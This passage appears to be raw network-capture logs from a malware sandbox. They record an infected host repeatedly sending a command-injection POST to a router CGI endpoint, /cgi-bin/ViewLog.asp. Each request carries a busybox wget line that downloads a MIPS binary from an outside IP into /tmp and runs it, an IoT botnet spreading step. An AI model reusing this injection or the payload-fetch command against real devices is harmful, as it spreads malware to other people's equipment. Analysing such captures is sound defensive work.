Nov 23, 2023 05:18:20.646151066 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:20.845597029 CET	603	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 23 Nov 2023 04:18:20 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Accept,Authorization,Cache-Control,Content-Type,DNT,If-Modified-Since,Keep-Alive,Origin,User-Agent,X-Mx-ReqToken,X-Requested-With Access-Control-Allow-Methods: GET, POST, OPTIONS Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
811	192.168.2.13	59746	85.122.222.194	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:19.964684010 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
812	192.168.2.13	37082	95.158.28.8	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:20.195523977 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
813	192.168.2.13	59674	62.145.136.7	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:20.638742924 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:20.846564054 CET	680	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Thu, 23 Nov 2023 04:18:19 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
814	192.168.2.13	55400	94.55.177.219	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:20.643038034 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:21.414158106 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
815	192.168.2.13	51008	94.122.64.252	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.079008102 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
816	192.168.2.13	51096	95.140.192.3	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.094355106 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
817	192.168.2.13	36160	85.90.244.22	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.504451990 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:22.077323914 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:22.260193110 CET	683	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:18:22 GMT Server: Apache/2.4.58 (Unix) Content-Length: 437 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 52 65 61 73 6f 6e 3a 20 59 6f 75 27 72 65 20 73 70 65 61 6b 69 6e 67 20 70 6c 61 69 6e 20 48 54 54 50 20 74 6f 20 61 6e 20 53 53 4c 2d 65 6e 61 62 6c 65 64 20 73 65 72 76 65 72 20 70 6f 72 74 2e 3c 62 72 20 2f 3e 0a 20 49 6e 73 74 65 61 64 20 75 73 65 20 74 68 65 20 48 54 54 50 53 20 73 63 68 65 6d 65 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 55 52 4c 2c 20 70 6c 65 61 73 65 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 55 6e 69 78 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 20 50 6f 72 74 20 38 30 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br />Reason: You're speaking plain HTTP to an SSL-enabled server port.<br /> Instead use the HTTPS scheme to access this URL, please.<br /></p><hr><address>Apache/2.4.58 (Unix) Server at localhost Port 8080</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
818	192.168.2.13	57474	62.84.123.176	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.508024931 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:21.725734949 CET	90	IN	HTTP/1.1 404 Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port
819	192.168.2.13	53990	85.73.46.59	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.518068075 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
820	192.168.2.13	57546	94.121.176.143	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.547122955 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
821	192.168.2.13	40330	94.121.187.21	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.761956930 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
822	192.168.2.13	49732	94.120.57.122	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.775012970 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
823	192.168.2.13	52042	85.30.146.25	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.819981098 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
824	192.168.2.13	38386	31.136.75.162	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.856669903 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
825	192.168.2.13	49618	94.122.61.79	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.864682913 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
826	192.168.2.13	60408	94.120.4.17	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.865863085 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
827	192.168.2.13	41470	95.86.89.152	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:21.871192932 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
828	192.168.2.13	52536	106.53.18.21	23

Timestamp	Bytes transferred	Direction	Data
